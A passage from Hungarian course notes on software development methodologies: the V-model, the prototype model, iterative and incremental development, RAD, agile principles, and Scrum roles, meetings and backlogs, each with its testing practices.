rendszerterv leírja tovább, hogy a komponensek hogyan működnek együtt. Ez lesz az integrációs teszt alapja Ezután a rendszertervnek megfelelően következik az implementáció. Minden metódushoz egy vagy több unit-tesztet kell készíteni. Ezek alapja nem csak az implementáció, hanem a rendszerterv is. A nagyobb egységeket, osztályokat, al- és főfunkciókat is komponens teszt alá kell vetni az implementáció és a rendszerterv alapján. Ha ezen sikeresen túl vagyunk, akkor az integrációs teszt következik a rendszerterv alapján. Ha itt problémák merülnek fel, akkor visszamegyünk a V betű másik szárára a rendszertervhez. Megnézzük, hogy a hiba a rendszertervben vagy az implementációban vane Ha kell, megváltoztatjuk a rendszertervet, majd az implementációt is Az integrációs teszt után jön a rendszerteszt a funkcionális specifikáció alapján. Hasonlóan, hiba esetén a V betű másik szárára megyünk, azaz visszalépünk a funkcionális

specifikáció elkészítésére. Majd jön az átvételi teszt a követelmény specifikáció alapján Remélhetőleg itt már nem lesz hiba, mert kezdhetnénk az egészet elölről, ami egyenlő a sikertelen projekttel. Ha a fejlesztés és tesztelés alatt nem változnak a követelmények, akkor ez egy nagyon jó, kiforrott, támogatott módszertan. Ha valószínű a követelmények változása, akkor inkább iteratív, vagy még inkább agilis módszert válasszunk. 2.41 Prototípus modell A prototípus modell válasz a vízesés modell sikertelenségére. A fejlesztő cégek rájöttek, hogy tarthatatlan a vízesés modell megközelítése, hogy a rendszerrel a felhasználó csak a projekt végén találkozik. Gyakran csak ekkor derült ki, hogy az életciklus elején félreértették egymást a felek és nem a valós követelményeknek megfelelő rendszer született. Ezt elkerülendő a prototípus modell azt mondja, hogy a végső átadás előtt több prototípust is

szállítsunk le, hogy mihamarabb kiderüljenek a félreértések, illetve a megrendelő lássa, mit várhat a rendszertől. A prototípus alapú megközelítése a fejlesztésnek azon alapszik, hogy a megrendelő üzleti folyamatai, követelményei nem ismerhetők meg teljesen. Már csak azért sem, mert ezek az idővel változnak (lásd az agilis módszertanokat). A követelményeket érdemes finomítani prototípusok segítségével. Ha a felhasználó használatba vesz egy prototípust, akkor képes megfogalmazni, hogy az miért nem felel meg az elvárásainak és hogyan kellene megváltoztatni. Ebben a megközelítésben a leszállított rendszer is egy prototípus 2-5 Ez a megközelítés annyira sikeres volt, hogy a modern módszertanok majd mindegyike prototípus alapú. Az iteratív módszerek általában minden mérföldkőhöz kötnek egy prototípust. Az agilis módszertanok akár minden nap új (lásd napi fordítás) prototípust állítanak elő. A kezdeti

prototípus fejlesztése általában a következő lépésekből áll: • 1. lépés: Az alap követelmények meghatározása: Olyan alap követelmények meghatározása, mint a bemeneti és kimeneti adatok. Általában a teljesítményre vagy a biztonságra vonatkozó követelményekkel nem foglalkozunk. • 2. lépés: Kezdeti prototípus kifejlesztése: Csak a felhasználói felületeket fejlesztjük le egy erre alkalmas CASE eszközzel. A mögötte lévő funkciókat nem, kivéve az új ablakok nyitását. • 3. lépés: Bemutatás: Ez egyfajta felhasználói átvételi teszt A végfelhasználók megvizsgálják a prototípust, és jelzik, hogy mit gondolnak másként, illetve mit tennének még hozzá. • 4. lépés A követelmények pontosítása: A visszajelzéseket felhasználva pontosítjuk a követelmény specifikációt. Ha még mindig nem elég pontos a specifikáció, akkor a prototípust továbbfejlesztjük és ugrunk a 3. lépésre Ha elég pontos képet kaptunk

arról, hogy mit is akar a megrendelő, akkor az egyes módszertanok mást és mást írnak elő. 2-6 A prototípus készítést akkor a legcélszerűbb használni, ha a rendszer és a felhasználó között sok lesz a párbeszéd. A modell on-line rendszerek elemzésében és tervezésében nagyon hatékony, különösen a tranzakció feldolgozásnál. Olyan rendszereknél, ahol kevés interakció zajlik a rendszer és a felhasználó között, ott kevésbé éri meg a prototípus modell használata, ilyenek például a számítás igényes feladatok. Különösen jól használható a felhasználói felület kialakításánál. A prototípus modell nagyban épít a tesztelésre. Minden prototípust felhasználói átvételi tesztnek vetnek alá, ami során könnyen kiderül, hogy milyen funkcionális és nemfunkcionális követelményt nem tart be a prototípus. A korai szakaszban sok unit-tesztet alkalmazunk Amikor befejezünk egy újabb prototípust, akkor regressziós teszttel

vizsgáljuk meg, hogy ami az előző prototípusban működött, az továbbiakban is működik-e. Ha az új prototípusban van új komponens is, akkor a régi és az új komponensek között, illetve az új – új komponensek között integrációs tesztet kell végrehajtani. A modell későbbi szakaszában, miután már a követelmény és a funkcionális specifikáció letisztult, egy vízesés modellre hasonlít. Azaz az implementáció után jön a tesztelés. Ekkor elvégezzük újból komponens és integrációs teszteket is. Rendszertesztet általában csak a végső prototípus átadás előtt végzünk 2.42 Iteratív és inkrementális módszertanok Az iteratív módszertan előírja, hogy a fejlesztést, kezdve az igényfelméréstől az üzemeltetésig, kisebb iterációk sorozatára bontsuk. Eltérően a vízesés modelltől, amelyben például a tervezés teljesen megelőzni az implementációt, itt minden iterációban van tervezés és implementációi is. Lehet, hogy

valamelyik iterációban az egyik sokkal hangsúlyosabb, mint a másik, de ez természetes. A folyamatos finomítás lehetővé teszi, hogy mélyen megértsük a feladatot és felderítsük az ellentmondásokat. Minden iteráció kiegészíti a már kifejlesztett prototípust A kiegészítést inkrementumnak is nevezzük. Azok a módszertanok, amik a folyamatra teszik a hangsúlyt, azaz az iterációra, azokat iteratív módszertanoknak nevezzük. Azokat, amelyek az iteráció termékére, az inkrementumra teszik a hangsúlyt, azokat inkrementális módszertanoknak hívjuk. A mai módszertanok nagy része, kezdve a prototípus modelltől egészen az agilis modellekig, ebbe a családba tartoznak. A kiegészítés hozzáadásával növekvő részrendszer jön létre, amelyet tesztelni kell. Az új kódot unit-teszttel teszteljük. Regressziós teszttel kell ellenőrizni, hogy a régi kód továbbra is működik-e az új kód hozzáadása és a változások után. Az új és a régi kód

együttműködését integrációs teszttel teszteljük. Ha egy mérföldkőhöz vagy prototípus bemutatáshoz érkezünk, akkor van felhasználói átvételi teszt is. Egyébként csak egy belső átvételi teszt van az iteráció végén. 2-7 Ezt a megközelítést több módszertan is alkalmazza, például a prototípus modell, a gyors alkalmazásfejlesztés (RAD), a Rational Unified Process (RUP) és az agilis fejlesztési modellek. Itt ezeknek a módszertanoknak a közös részét, az iterációt ismertetjük. Egy iteráció a következő feladatokból áll: • Üzleti folyamatok elemzése • Követelményelemzés • Elemzés és tervezés • Implementáció • Tesztelés • Értékelés 2-8 Az iteratív modell fő ereje abban rejlik, hogy az életciklus lépései nem egymás után jönnek, mint a strukturált módszertanok esetén, hanem időben átfedik egymást. Minden iterációban van elemzés, tervezés, implementáció és tesztelés. Ezért, ha találunk

egy félreértést, akkor nem kell visszalépni, hanem néhány iteráció segítségével oldjuk fel a félreértést. Ez az jelenti, hogy kevésbé tervezhető a fejlesztés ideje, de jól alkalmazkodik az igények változásához. Mivel a fejlesztés lépéseit mindig ismételgetjük, ezért azt mondjuk, hogy ezek időben átfedik egymást, hiszen minden szakaszban minden lépést végre kell hajtani. A kezdeti iterációkban több az elemzés, a végéhez közeledve egyre több a tesztelés. Már a legelső szakaszban is van tesztelés, de ekkor még csak a teszttervet készítjük. Már a legelső szakaszban is van implementáció, de ekkor még csak az architektúra osztályait hozzuk létre. És így tovább A feladatot több iterációra bontjuk. Ezeket általában több kisebb csapat implementálja egymással versengve. Aki gyorsabb, az választhat iterációt a meglévők közül A választás nem teljesen szabad, a legnagyobb prioritású feladatok közül kell választani.

A prioritás meghatározása különböző lehet, általában a leggyorsabban megvalósítható és legnagyobb üzleti értékű, azaz a legnagyobb üzleti megtérüléssel (angolul: return of investment) bíró feladat a legnagyobb prioritású. Üzleti folyamatok elemzése: Első lépésben meg kell ismerni a megrendelő üzleti folyamatait. Az üzleti folyamatok modellezése során fel kell állítani egy projekt fogalomtárat. A lemodellezett üzleti folyamatokat egyeztetni kell a megrendelővel, hogy ellenőrizzük jól értjük-e az üzleti logikát. Ezt üzleti elemzők végzik, akik a megrendelők és a fejlesztők fejével is képesek gondolkozni. Követelményelemzés: A követelmény elemzés során meghatározzuk a rendszer funkcionális és nemfunkcionális követelményeit, majd ezekből funkciókat, képernyőterveket készítünk. Ez a lépés az egész fejlesztés elején nagyon hangsúlyos, hiszen a kezdeti iterációk célja a követelmények felállítása.

Későbbiekben csak a funkcionális terv finomítása a feladata Fontos, hogy a követelményeket egyeztessük a megrendelőkkel. Ha a finomítás során ellentmondást fedezünk fel, akkor érdemes tisztázni a kérdést a megrendelővel. Elemzés és tervezés: Az elemzés és tervezés során a követelmény elemzés termékeiből megpróbáljuk elemezni a rendszert és megtervezni azt. A nemfunkcionális követelményekből lesz az architekturális terv. Az architekturális terv alapján tervezzük az alrendszereket és a köztük levő kapcsolatokat. Ez a kezdeti iterációk feladata A funkcionális követelmények alapján tervezzük meg az osztályokat, metódusokat és az adattáblákat. Ezek a későbbi iterációk feladatai. Implementáció: Az implementációs szakaszra ritkán adnak megszorítást az iteratív módszertanok. Általában a bevett technikák alkalmazását ajánlják, illetve szerepköröket írnak elő. Pl: a fejlesztők fejlesztik a rendszert, a fejlesztők

szoros kapcsolatban vannak a tervezőkkel, továbbá van egy kód ellenőr, aki ellenőrzi, hogy a fejlesztők által írt programok 2-9 megfelelnek-e a tervezők által kitalált tervezési és programozási irányelveknek. Ebben a szakaszban a programozók unit-teszttel biztosítják a kód minőségét. Tesztelés: A tesztelési szakaszban különböző tesztelési eseteket találunk ki, ezeket unittesztként valósítjuk meg. Itt vizsgáljuk meg, hogy az elkészült kód képes-e együttműködni a program többi részével, azaz integrációs tesztet hajtunk végre. Regressziós tesztek segítségével ellenőrizzük, hogy ami eddig kész volt, az nem romlott el. Ehhez lefuttatjuk az összes unit-tesztet. Rendszerteszt csak a késői tesztelési fázisokban van Értékelés: A fejlesztés minden ciklusában el kell dönteni, hogy az elkészült verziót elfogadjuke, vagy sem. Ha nem, akkor újra indul ez az iteráció Ha igen, vége ennek az iterációnak Az így elkészült

kódot feltöltjük a verziókövető rendszerbe, hogy a többi csapat is hozzáférjen. Az értékelés magában foglal egy átvételi tesztet is. Ha a megrendelő nem áll rendelkezésre, akkor általában a csoportok munkáját összefogó vezető programozó / tervező helyettesíti. Amennyiben a folyamat során elértünk egy mérföldkőhöz, akkor általában át kell adnunk egy köztes prototípust is. Ekkor mindig rendelkezésre áll a megrendelő, hogy elvégezzük a felhasználói átvételi tesztet. Támogató tevékenységek, napi fordítás: Az iterációktól függetlenül úgynevezett támogató folyamatok is zajlanak a szoftver cégen belül. Ilyen például a rendszergazdák vagy a menedzsment tevékenysége. Az iterációk szemszögéből a legfontosabb az úgynevezett a napi fordítás (daily build). Ez azt jelenti, hogy minden nap végén a verziókövető rendszerben lévő forráskódot lefordítjuk. Minden csapat igyekszik a meglévő kódhoz igazítani a

sajátját, hogy lehetséges legyen a fordítás. Aki elrontja a napi fordítást, és ezzel nehezíti az összes csapat következő napi munkáját, az büntetésre számíthat. Ez a cég hagyományaitól függ, általában egy hétig ő csinálja a napi fordítás és emiatt sokszor sokáig bent kell maradnia. Végül vagy elérjük azt a pontot, ahol azt mondjuk, hogy ez így nem elkészíthető, vagy azt mondjuk, hogy minden felmerült igényt kielégít a szoftverünk és szállíthatjuk a megrendelőnek. 2.43 Gyors alkalmazásfejlesztés – RAD A gyors alkalmazásfejlesztés vagy ismertebb nevén RAD (Rapid Application Development) egy olyan elgondolás, amelynek lényege a szoftver gyorsabb és jobb minőségű elkészítése. Ezt a következők által érhetjük el: • Korai prototípus készítés és ismétlődő felhasználói átvételi tesztek. • A csapat - megrendelő és a csapaton belüli kommunikációban kevésbé formális. • Szigorú ütemterv, így az

újítások mindig csak a termék következő verziójában jelennek meg. • Követelmények összegyűjtése fókusz csoportok és munkaértekezletek használatával. 2-10 • Komponensek újrahasznosítása. Ezekhez a folyamatokhoz több szoftvergyártó is készített segédeszközöket, melyek részben vagy egészben lefedik a fejlesztés fázisait, mint például: • követelmény összegyűjtő eszközök, • tervezést segítő eszközök, • prototípus készítő eszközök, csapatok kommunikációját segítő eszközök. A RAD elsősorban az objektumorientált programozással kacsolódik össze, már csak a komponensek újrahasznosítása okán is. Összehasonlítva a hagyományos fejlesztési metódusokkal (pl.: vízesés modell), ahol az egyes fejlesztési fázisok jól elkülönülnek egymástól, a RAD sokkal rugalmasabban. Gyakori probléma, hogy a tervezésbe hiba csúszik, és az csak a megvalósítási vagy a tesztelési fázisban jön elő, ráadásul az

elemzés és a tesztelési fázis között hat-hét hónap is eltelhet. Vagy ha menetközbe megváltoznak az üzleti körülmények, és már a megvalósítási fázisban járunk, vagy csak rájöttek a megrendelők, hogy valamit mégis másképpen szeretnének, akkor szintén gondban vagyunk. A RAD válasza ezekre a problémákra a gyorsaság. Ha gyorsan hozzuk létre a rendszert, akkor ezen rövid idő alatt nem változnak a követelmények, az elemzés és tesztelés között nem hat-hét hónap, hanem csak hat-hét hét telik el. A gyorsaság eléréséhez sok meglévő komponenst kell felhasználni, amit a csapatnak jól kell ismernie. A komponensek lehetnek saját fejlesztésűek vagy megvásároltak Komponenst vásárolni nagy kockázat, mert ha hiba van benne, azt nem tudjuk javítani, ha nem kapjuk meg a forrást, de még úgy is nagyon nehéz. Ezért a komponens gyártók nagyon alaposan tesztelik terméküket. A RAD az elemzést, a tervezést, a megvalósítást, és a

tesztelést rövid, ismétlődő ciklusok sorozatába tömöríti, és ennek sok előnye van a hagyományos modellekkel szemben. A fejlesztés során általában kis csoportokat hoznak létre fejlesztőkből, végfelhasználókból, ez az úgynevezett fókusz csoport. Ezek a csapatok az ismétlődő, rövid ciklusokkal vegyítve hatékonyabbá teszik a kommunikációt, optimalizálják a fejlesztési sebességet, egységesítik az elképzeléseket és célokat, valamint leegyszerűsítik a folyamat felügyeletét. Öt fejlesztési lépés a RAD-ban: • Üzleti modellezés: Az üzleti funkciók közötti információ áramlást olyan kérdések feltevésével tudjuk felderíteni, mint hogy milyen információk keletkeznek, ezeket ki állítja elő, az üzleti folyamatot milyen információk irányítják, vagy hogy ki irányítja. • Adat modellezés: Az üzleti modellezéssel összegyűjtöttük a szükséges adatokat, 2-11 melyekből adat objektumokat hozunk létre.

Beazonosítjuk az attribútumokat és a kapcsolatokat az adatok között. • Folyamat modellezés: Az előzőleg létrehozott adatmodellhez szükséges műveletek (bővítés, törlés, módosítás) meghatározása, úgy hogy létrehozzuk a kellő információáramlást az üzleti funkciók számára. • Alkalmazás előállítása: A szoftver előállításának megkönnyítése automatikus eszközökkel. • Tesztelés: Az új programkomponensek tesztelése, a már korábban tesztelt komponenseket már nem szükséges újra vizsgálni. Ez gyorsítja a folyamatot Hátránya, hogy magasan képzett fejlesztőkre van szükség, emellett fontos a fejlesztők és a végfelhasználók elkötelezettsége a sikeres szoftver iránt. Ha a projekt nehezen bontható fel modulokra, akkor nem a legjobb választás a RAD. Nagyobb rendszerek fejlesztése ezzel a módszertannal kockázatos. 2.44 Agilis szoftverfejlesztés Az agilis szoftverfejlesztés valójában iteratív szoftverfejlesztési

módszerek egy csoportjára utal, amelyet 2001-ben az Agile Manifesto nevű kiadványban öntöttek formába. Az agilis fejlesztési módszerek (nevezik adaptívnak is) egyik fontos jellemzője, hogy a résztvevők, amennyire lehetséges megpróbálnak alkalmazkodni a projekthez. Ezért fontos például, hogy a fejlesztők folyamatosan tanuljanak. Az agilis szoftverfejlesztés szerint értékesebbek: • az egyének és interaktivitás szemben a folyamatokkal és az eszközökkel, • a működő szoftver szemben a terjedelmes dokumentációval, • az együttműködés a megrendelővel szemben a szerződéses tárgyalásokkal, • az alkalmazkodás a változásokhoz szemben a terv követésével. 2-12 Az agilis szoftverfejlesztés alapelvei: • A legfontosabb a megrendelő kielégítése használható szoftver gyors és folyamatos átadásával. • Még a követelmények kései változtatása sem okoz problémát. • A működő szoftver / prototípus átadása rendszeresen, a

lehető legrövidebb időn belül. • Napi együttműködés a megrendelő és a fejlesztők között. • A projektek motivált egyének köré épülnek, akik megkapják a szükséges eszközöket és támogatást a legjobb munkavégzéshez. • A leghatékonyabb kommunikáció a szemtől-szembeni megbeszélés. • Az előrehaladás alapja a működő szoftver. • Az agilis folyamatok általi fenntartható fejlesztés állandó ütemben. • Folyamatos figyelem a technikai kitűnőségnek. • Egyszerűség, a minél nagyobb hatékonyságért. • Önszervező csapatok készítik a legjobb terveket. • Rendszeres időközönként a csapatok reagálnak a változásokra, hogy még hatékonyabbak legyenek. Az agilis szoftverfejlesztésnek nagyon sok fajtája van. Ebben a jegyzetben csak ezt a kettőt tárgyaljuk: • Scrum • Extrém Programozás (XP) Ezek a következő közös jellemzőkkel bírnak: • Kevesebb dokumentáció. • Növekvő rugalmasság, csökkenő kockázat. •

Könnyebb kommunikáció, javuló együttműködés. • A megrendelő bevonása a fejlesztésbe. Kevesebb dokumentáció: Az agilis metódusok alapvető különbsége a hagyományosakhoz képest, hogy a projektet apró részekre bontják, és mindig egy kisebb darabot tesznek hozzá 2-13 a termékhez, ezeket egytől négy hétig terjedő ciklusokban (más néven keretekben vagy idődobozokban) készítik el, és ezek a ciklusok ismétlődnek. Ezáltal nincs olyan jellegű részletes hosszú távú tervezés, mint például a vízeséses modellnél, csak az a minimális, amire az adott ciklusban szükség van. Ez abból az elvből indul ki, hogy nem lehet előre tökéletesen, minden részletre kiterjedően megtervezni egy szoftvert, mert vagy a tervben lesz hiba, vagy a megrendelő változtat valamit. Növekvő rugalmasság, csökkenő kockázat: Az agilis módszerek a változásokhoz adaptálható technikákat helyezik előnybe a jól tervezhető technikákkal szemben. Ennek

megfelelően iterációkat használnak. Egy iteráció olyan, mint egy hagyományos életciklus: tartalmazza a tervezést, a követelmények elemzését, a kódolást, és a tesztelést. Egy iteráció maximum egy hónap terjedelmű, így nő a rugalmasság, valamint csökken a kockázat, hiszen az iteráció végén átvételi teszt van, ami után megrendelő megváltoztathatja eddigi követelményeit. Minden iteráció végén futóképes változatot kell kiadniuk a csapatoknak a kezükből. Könnyebb kommunikáció, javuló együttműködés: Jellemző, hogy a fejlesztő csoportok önszervezőek, és általában nem egy feladatra specializálódottak a tagok, hanem többféle szakterületről kerülnek egy csapatba, így például programozok és tesztelők. Ezek a csapatok ideális esetben egy helyen, egy irodában dolgoznak, a csapatok mérete ideális esetben 5-9 fő. Mindez leegyszerűsíti a tagok közötti kommunikációt és segíti a csapaton belüli együttműködést. Az

agilis módszerek előnyben részesítik a szemtől szembe folytatott kommunikációt az írásban folytatott eszmecserével szemben. A megrendelő bevonása a fejlesztésbe: Vagy személyesen a megrendelő vagy egy kijelölt személy, aki elkötelezi magát a termék elkészítése mellett, folyamatosan a fejlesztők rendelkezésére áll, hogy a menet közben felmerülő kérdéseket minél hamarabb meg tudja válaszolni. Ez a személy a ciklus végén is részt vesz az elkészült prototípus kiértékelésében Fontos feladata az elkészítendő funkciók fontossági sorrendjének felállítása azok üzleti értéke alapján. Az üzleti értékből és a fejlesztő csapat által becsült fejlesztési időből számolható a befektetés megtérülése (Return of Investment, ROI). A befektetés megtérülése az üzleti érték és a fejlesztési idő hányadosa. Az agilis módszertanok nagyon jól működnek, amíg a feladatot egy közepes méretű (5-9 fős) csapat képes

megoldani. Nagyobb csoportok esetén nehéz a csapat szellem kialakítása Ha több csoport dolgozik ugyanazon a célon, akkor köztük a kommunikáció nehézkes. Ha megrendelő nem hajlandó egy elkötelezett munkatársát a fejlesztő csapat rendelkezésére bocsátani, akkor az kiváltható egy üzleti elemzővel, aki átlátja a megrendelő üzleti folyamatait, de ez kockázatos. 2.45 Scrum A Scrum egy agilis szoftverfejlesztési metódus. Jellegzetessége, hogy fogalmait az amerikai futballból, más néven rugby, meríti. Ilyen fogalom, maga a Scrum is, amely dulakodást jelent A módszertan jelentős szerepet tulajdonít a csoporton belüli összetartásnak. A csoporton 2-14 belül sok a találkozó, a kommunikáció, lehetőség van a gondok megbeszélésre is. Az ajánlás szerint jó, ha a csapat egy helyen dolgozik és szóban kommunikál. A Scrum által előírt fejlesztési folyamat röviden így foglalható össze: A Product Owner létrehoz egy Product Backlog-ot,

amelyre a teendőket felhasználói sztoriként veszi fel. A sztorikat prioritással kell ellátni és megmondani, mi az üzleti értékük. Ez a Product Owner feladata. A Sprint Planning Meetingen a csapat tagjai megbeszélik, hogy mely sztorik megvalósítását vállalják el, lehetőleg a legnagyobb prioritásúakat. Ehhez a sztorikat kisebb feladatokra bontják, hogy megbecsülhessék mennyi ideig tart megvalósítani azokat. Ezután jön a sprint, ami 2-4 hétig tart. A sprint időtartamát az elején fixálja a csapat, ettől eltérni nem lehet. Ha nem sikerül befejezni az adott időtartam alatt, akkor sikertelen a sprint, ami büntetést, általában prémium megvonást, von maga után. A sprinten belül a csapat és a Scrum Master naponta megbeszélik a történteket a Daily Meetingen. Itt mindenki elmondja, hogy mit csinált, mi lesz a következő feladata, és milyen akadályokba (impediment) ütközött. A sprint végén következik a Sprint Review, ahol a csapat bemutatja

a sprint alatt elkészült sztorikat. Ezeket vagy elfogadják, vagy nem Majd a Sprint Retrospective találkozó következik, ahol a Sprint során felmerült problémákat tárgyalja át a csapat. A megoldásra konkrét javaslatokat kell tenni. Ezek után újra a Sprint Planning Meeting következik A fejlesztett termék az előtt piacra kerülhet, hogy minden sztorit megvalósítottak volna. A csapatban minden szerepkör képviselője megtalálható, így van benne fejlesztő és tesztelő is. Téves azt gondolni, hogy a sprint elején a tesztelő is programot ír, hiszen, amíg nincs program, nincs mit tesztelni. Ezzel szemben a tesztelő a sprint elején a tesztelő a teszttervet készít, majd kidolgozza a teszteseteket, végül, amikor már vannak kész osztályok, unitteszteket ír, a változásokat regressziós teszttel ellenőrzi. A Scrum, mint minden agilis módszertan, arra épít, hogy a fejlesztés közben a megrendelő igényei változhatnak. A változásokhoz úgy

alkalmazkodik, a Product Backlog folyamatosan változhat. Az erre épülő dokumentumok folyamatosan finomodnak, tehát könnyen változtathatók. A csapatok gyorsan megvalósítják a szükséges változásokat A Scrum tökélyre viszi az egy csapaton belüli hatékonyságot. Ha több csapat is dolgozik egy fejlesztésen, akkor köztük lehetnek kommunikációs zavarok, ami a módszertan egyik hátránya. 2-15 A Scrum két nagyon fontos fogalma a sprint és az akadály. Sprint (vagy futam): Egy előre megbeszélt hosszúságú fejlesztési időszak, általában 2-4 hétig tart, kezdődik a Sprint Planning-gel, majd a Retrospective-vel zárul. Ez a Scrum úgynevezett iterációs ciklusa, addig kell ismételni, amíg a Product Backlog-ról el nem tűnnek a megoldásra váró felhasználói sztorik. Alapelv, hogy minden sprint végére egy potenciálisan leszállítható szoftvert kell előállítani a csapatnak, azaz egy prototípust. A sprint tekinthető két mérföldkő közti

munkának. Akadály (Impediment): Olyan gátló tényező, amely a munkát hátráltatja. Csak és kizárólag munkahelyi probléma tekinthető akadálynak. A csapattagok magánéleti problémái nem azok. Akadály például, hogy lejárt az egyik szoftver licence, vagy szükség lenne egy plusz gépre a gyorsabb haladáshoz, vagy több memóriára az egyik gépbe, vagy akár az is lehet, hogy 2 tag megsértődött egymásra. Ilyenkor kell a Scrum Masternek elhárítani az akadályokat, hogy a munka minél gördülékenyebb legyen. A módszertan szerepköröket, megbeszéléseket és elkészítendő termékeket ír elő. Szerepkörök A módszertan kétféle szerepkört különböztet meg, ezek a disznók és a csirkék. A megkülönböztetés alapja egy vicc: A disznó és a csirke mennek az utcán. Egyszer csak a csirke megszólal: „Te, nyissunk egy éttermet!” Mire a disznó: „Jó ötlet, mi legyen a neve?” A csirke gondolkozik, majd rávágja: „Nevezzük

Sonkástojásnak!” A disznó erre: „Nem tetszik valahogy, mert én biztosan mindent beleadnék, te meg éppen csak hogy részt vennél benne.” A disznók azok, akik elkötelezettek a szoftver projekt sikerében. Ők azok, akik a „vérüket” adják a projekt sikeréért, azaz felelősséget vállalnak érte. A csirkék is érdekeltek a projekt sikerében, ők a haszonélvezői a sikernek, de ha esetleg mégse sikeres a projekt, akkor az nem az ő felelősségük. 2-16 Disznók: • Scrum mester (Scrum Master) • Terméktulajdonos (Product Owner) • Csapat (Team) Csirkék: • Üzleti szereplők (Stakeholders) • Menedzsment (Managers) Scrum mester (Scrum Master): A Scrum mester felügyeli és megkönnyíti a folyamat fenntartását, segíti a csapatot, ha problémába ütközik, illetve felügyeli, hogy mindenki betartja-e a Scrum alapvető szabályait. Ilyen például, hogy a Sprint időtartama nem térhet el az előre megbeszélttől, még akkor sem, ha az elvállalt

munka nem lesz kész. Akkor is nemet kell mondania, ha a Product Owner a sprint közben azt találja ki, hogy az egyik sztorit, amit nem vállaltak be az adott időszakra, el kellene készíteni, mert mondjuk megváltoztak az üzleti körülmények. Lényegében ő a projekt menedzser Termék tulajdonos (Product Owner): A megrendelő szerepét tölti be, ő a felelős azért, hogy a csapat mindig azt a részét fejlessze a terméknek, amely éppen a legfontosabb, vagyis a felhasználói sztorik fontossági sorrendbe állítása a feladata a Product Backlog-ban. A Product Owner és a Scrum Master nem lehet ugyanaz a személy. Csapat (Team): Ők a felelősek azért, hogy az aktuális sprintre bevállalt feladatokat elvégezzék, ideális esetben 5-9 fő alkot egy csapatot. A csapatban helyet kapnak a fejlesztők, tesztelők, elemzők. Így nem a váltófutásra jellemző stafétaváltás (mint a vízesés modellnél), hanem a futballra emlékeztető passzolgatás, azaz igazi

csapatjáték jellemzi a csapatot. Üzleti szereplők, pl.: megrendelők, forgalmazók (Stakeholders, ie, customers, vendors): A megrendelő által jön létre a projekt, ő az, aki majd a hasznát látja a termék elkészítésének, a Sprint Review során kap szerepet a folyamatban. Menedzsment (Managers): A menedzsment feladata a megfelelő környezet felállítása a csapatok számára. Általában a megfelelő környezeten túl a lehető legjobb környezet felállítására törekszenek. Megbeszélések Sprint Planning Meeting (futamtervező megbeszélés): Ezen a találkozón kell megbeszélni, hogy ki mennyi munkát tud elvállalni, majd ennek tudatában dönti el a csapat, hogy mely sztorikat vállalja be a következő sprintre. Emellett a másik lényeges dolog, hogy a csapat a Product Owner-rel megbeszéli, majd teljes mértékben megérti, hogy a vevő mit szeretne az adott sztoritól, így elkerülhetőek az esetleges félreértésekből adódó problémák. Ha volt 2-17

Backlog Grooming, akkor nem tart olyan sokáig a Planning, ugyanis a csapat ismeri a Backlogot, azon nem szükséges finomítani, hacsak a megrendelőtől nem érkezik ilyen igény. A harmadik dolog, amit meg kell vizsgálni, hogy a csapat hogyan teljesített az előző sprintben, vagyis túlvállalta-e magát vagy sem. Ha túl sok sztorit vállaltak el, akkor le kell vonni a következtetést, és a következő sprintre kevesebbet vállalni. Ez a probléma leginkább az új, kevéssé összeszokott csapatokra jellemző, ahol még nem tudni, hogy mennyi munkát bír elvégezni a csapat. Ellenkező esetben, ha alulvállalta magát egy csapat, akkor értelemszerűen többet vállaljon, illetve, ha ideális volt az előző sprint, akkor hasonló mennyiség a javasolt. Backlog Grooming/Backlog Refinement: A Product Backlog finomítása a Teammel együtt, előfordulhat például, hogy egy taszk túl nagy, így story lesz belőle, és utána taszkokra bontva lesz feldolgozva. Ha elmarad,

akkor a Sprint Planning hosszúra nyúlhat, valamint abban is nagy segítség, hogy a csapat tökéletesen megértse, hogy mit szeretne a megrendelő. Daily Meeting/Daily Scrum: A sprint ideje alatt minden nap kell tartani egy rövid megbeszélést, ami maximum 15 perc, és egy előre megbeszélt időpontban, a csapattagok és a Scrum Master jelenlétében történik (mások is ott lehetnek, de nem szólhatnak bele). Érdekesség, hogy nem szabad leülni, mindenki áll, ezzel is jelezve, hogy ez egy rövid találkozó. Három kérdésre kell válaszolnia a csapat tagjainak, ezek a következőek: • Mit csináltál a tegnapi megbeszélés óta? • Mit fogsz csinálni a következő megbeszélésig? • Milyen akadályokba ütköztél az adott feladat megoldása során? Sprint Review Meeting (Futam áttekintés): Minden sprint végén összeülnek a szereplők, és megnézik, hogy melyek azok a sztorik, amelyeket sikerült elkészíteni, illetve az megfelel-e a követelményeknek. Ekkor

a sztori állapotát készre állítják Fontos, hogy egy sztori csak akkor kerülhet ebbe az állapotba, ha minden taszkja elkészült, és a Review-on elfogadták. Ezen a megrendelő is jelen van. Sprint Retrospective (Visszatekintés): Ez az egyik legfontosabb meeting. A Scrum egyik legfontosabb funkciója, hogy felszínre hozza azokat a problémákat, amelyek hátráltatják a fejlesztőket a feladatmegoldásban, így ha ezeket az akadályokat megoldjuk, a csapat jobban tud majd alkalmazkodni a következő sprint alatt a feladathoz. Problémák a Daily Meetingen is előkerülnek, de ott inkább a személyeket érintő kérdések vannak napirenden, míg itt a csapatmunka továbbfejlesztése az elsődleges. Termékek Product Backlog (termék teendő lista): Ez az a dokumentum, ahol a Product Owner elhelyezi azokat az elemeket, más néven sztorikat, amelyeket el kell készíteni. Ez egyfajta kívánságlista. A Product Owner minden sztorihoz prioritást, fontossági sorrendet rendel,

így 2-18 tudja szabályozni, hogy melyeket kell elsősorban elkészíteni, így a Sprint Planning során a csapattagok láthatják, hogy ami a Backlog-ban legfelül van, azt szeretné a vevő leghamarabb készen látni, annak van a legnagyobb üzleti értéke. Emellett a csapatok súlyozzák az elemeket aszerint, hogy melynek az elkészítéséhez kell a kevesebb munka, így azonos prioritás mellett a kevesebb munkát igénylő elemnek nagyobb a befektetés megtérülése (Return of Investment, ROI). Az üzleti érték meghatározása a Product Owner, a munka megbecslése a csapat feladata. A kettő hányadosa a ROI Sprint Backlog (futam teendő lista): Ebben a dokumentumban az aktuális sprintre bevállalt munkák, storyk vannak felsorolva, ezeket kell adott időn belül a csapatnak megvalósítania. A sztorik tovább vannak bontva taszkokra, és ezeket a taszkokat vállalják el a tagok a Daily Meeting során. Ez a feldarabolása a feladatoknak a feladat minél jobb

